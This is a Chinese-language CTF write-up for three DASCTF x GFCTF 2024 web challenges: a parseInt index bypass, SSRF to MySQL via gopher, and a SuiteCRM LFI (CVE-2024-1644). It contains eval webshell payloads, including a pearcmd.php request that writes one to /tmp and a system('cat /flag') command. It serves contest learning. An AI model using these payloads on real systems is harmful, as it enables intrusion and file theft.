下一篇NewStarCTF 2023,回到梦的起点

Web

cool_index

查看server.js

import express from "express";
import jwt from "jsonwebtoken";
import cookieParser from "cookie-parser";
import crypto from "crypto";
const FLAG = process.env.DASFLAG || "DASCTF{fake_flag}";
const app = express();
app.use(express.json());
app.use(cookieParser());
app.use(express.static("static"));
app.set("view engine", "ejs");

const JWT_SECRET = crypto.randomBytes(64).toString("hex");

const articles = [
{
line1: "我还是在这里 我还是",
line2: "如约而至地出现了"
},
{
line1: "你们有成为更好的自己吗",
line2: "真的吗 那可太好了"
},
{
line1: "你知道吗 我经常说",
line2: "把更多的时间花在 CTF 上(?)"
},
{
line1: "这是一种信念感",
line2: "就像我出来那给你们"
},
{
line1: "我也希望你们能把更多时间花在热爱的事情上",
line2: "我是一个特别固执的人"
},
{
line1: "我从来不会在意别人跟我说什么",
line2: "让我去做以及怎么做 我不管"
},
{
line1: "如果 你也可以像我一样",
line2: "那我觉得 这件事情"
},
{
line1: "欢迎参加 DASCTF x GFCTF 2024!",
line2: FLAG,
},
];

app.get("/", (req, res) => {
const token = req.cookies.token;
if (token) {
try {
const decoded = jwt.verify(token, JWT_SECRET);
res.render("home", {
username: decoded.username,
subscription: decoded.subscription,
articles: articles,
});
} catch (error) {
res.clearCookie("token");
res.redirect("/register");
}
} else {
res.redirect("/register");
}
});

app.get("/register", (req, res) => {
res.render("register");
});

app.post("/register", (req, res) => {
const { username, voucher } = req.body;
if (typeof username === "string" && (!voucher || typeof voucher === "string")) {
const subscription = (voucher === FLAG + JWT_SECRET ? "premium" : "guest");
if (voucher && subscription === "guest") {
return res.status(400).json({ message: "邀请码无效" });
}
const userToken = jwt.sign({ username, subscription }, JWT_SECRET, {
expiresIn: "1d",
});
res.cookie("token", userToken, { httpOnly: true });
return res.json({ message: "注册成功", subscription });
}

return res.status(400).json({ message: "用户名或邀请码无效" });
});

app.post("/article", (req, res) => {
const token = req.cookies.token;
if (token) {
try {
const decoded = jwt.verify(token, JWT_SECRET);
let index = req.body.index;
if (req.body.index < 0) {
return res.status(400).json({ message: "你知道我要说什么" });
}
if (decoded.subscription !== "premium" && index >= 7) {
return res
.status(403)
.json({ message: "订阅高级会员以解锁" });
}
index = parseInt(index);
if (Number.isNaN(index) || index > articles.length - 1) {
return res.status(400).json({ message: "你知道我要说什么" });
}

return res.json(articles[index]);
} catch (error) {
res.clearCookie("token");
return res.status(403).json({ message: "重新登录罢" });
}
} else {
return res.status(403).json({ message: "未登录" });
}
});

app.listen(3000, () => {
console.log("3000");
});

我们看到FLAG(第八个,索引为7),需要让index=7,我们可以看到有两个条件判断

if (decoded.subscription !== "premium" && index >= 7) {
return res
.status(403)
.json({ message: "订阅高级会员以解锁" });
}

我们是做不到index=7
但是

index = parseInt(index);
if (Number.isNaN(index) || index > articles.length - 1) {
return res.status(400).json({ message: "你知道我要说什么" });
}

注意if前面还有一个数据转换,parseInt()
转换规则:依次将字符串中从左到右的数字部分转为整数,一旦转换失败,返回NaN。
所以,我们传入7a即可转换为7

函数Number.isNaN()提供了一种方便的方法来检查值是否与NaN相等

Number.isNaN(NaN); // true
Number.isNaN(Number.NaN); // true
Number.isNaN(0 / 0); // true
Number.isNaN(37); // false

故,index=7可实现,bp抓包发送即可

EasySignin

发现可以改密码,抓个包看看

admin改一下密码,发现修改成功了,然后重新登陆
真好康(bushi)
观察到URL,/getpicture.php?url=https://tvax3.sinaimg.cn//large/0072Vf1pgy1fodqop5rd7j31kw148npj.jpg

一眼SSRF,先试试构造?url=http://127.0.0.1/../../../../../flag


base64解码出来是nonono,说明不行
我们需要探测有那些可用的内网端口

常见端口http 80,https 443,telnet 23,ftp 21,ssh 22,mysql 3306,redis 6379

http://127.0.0.1:port,逐一尝试,探测出3306端口可用,可以打mysql

如果内网中的mysql数据库存在无密码的用户,可结合gopher协议进行攻击

gopherselect load_file
load_file在渗透过程中是读取文件,select load_file('/flag');就是读取mysql配置文件,flag又在根目录下

https://github.com/tarunkant/Gopherus

生成的payload_后的部分需要url再编码一次,最后解base64即可

CTFSHOW也有一道SSRF打mysql
https://www.cnblogs.com/aninock/p/15663953.html
选的是,select '<?php eval($_POST[hack]); ?>' INTO OUTFILE '/var/www/html/test.php';

学习参考(光速温习了一遍)
https://www.sqlsec.com/2021/05/ssrf.html

https://www.cnblogs.com/-chenxs/p/11749367.html

https://xz.aliyun.com/t/11215?time__1311=mqmx0DyGIxnD9DBuex2GfG8fK0QmI3DCzQeD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-0

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

SuiteCRM

说实话,没打过这个,没什么思路
两个提示

使用81端口进行访问,80端口的转发有问题 https://fluidattacks.com/advisories/silva/

CVE-2024-1644,不需要代码审计!!!注意docker环境下的文件包含方式,该环境只修改了upload目录的上传权限
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1644

CVE-2024-1644,可以看见描述,Suite CRM version 7.14.2 allows including local php files. This is possible because the application is vulnerable to LFI.

刚好复现NewStarCTF,可以利用pearcmd.php实现LFI

先上传马
/index.php//usr/local/lib/php/pearcmd.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[0]);?>+/tmp/cmd.php

然后访问/index.php//tmp/cmd.php
POST: 0=system('cat /flag');

哈哈哈,没打出来

发现转发的还是80端口,直接在host:81是没有用的,得在上图target处修改


马上传成功了,但还是没有,不管了

官方wp
https://www.yuque.com/yuqueyonghu30d1fk/gd2y5h/nfeexx903ltettux#FFAEP

Web全题解
http://www.i0921.cn/blog/5dc52b0aba304f6314a9229f/66284bc7ed9f76063b6cf016

https://www.cnblogs.com/EddieMurphy-blogs/p/18158386

暂时这样吧,不想打了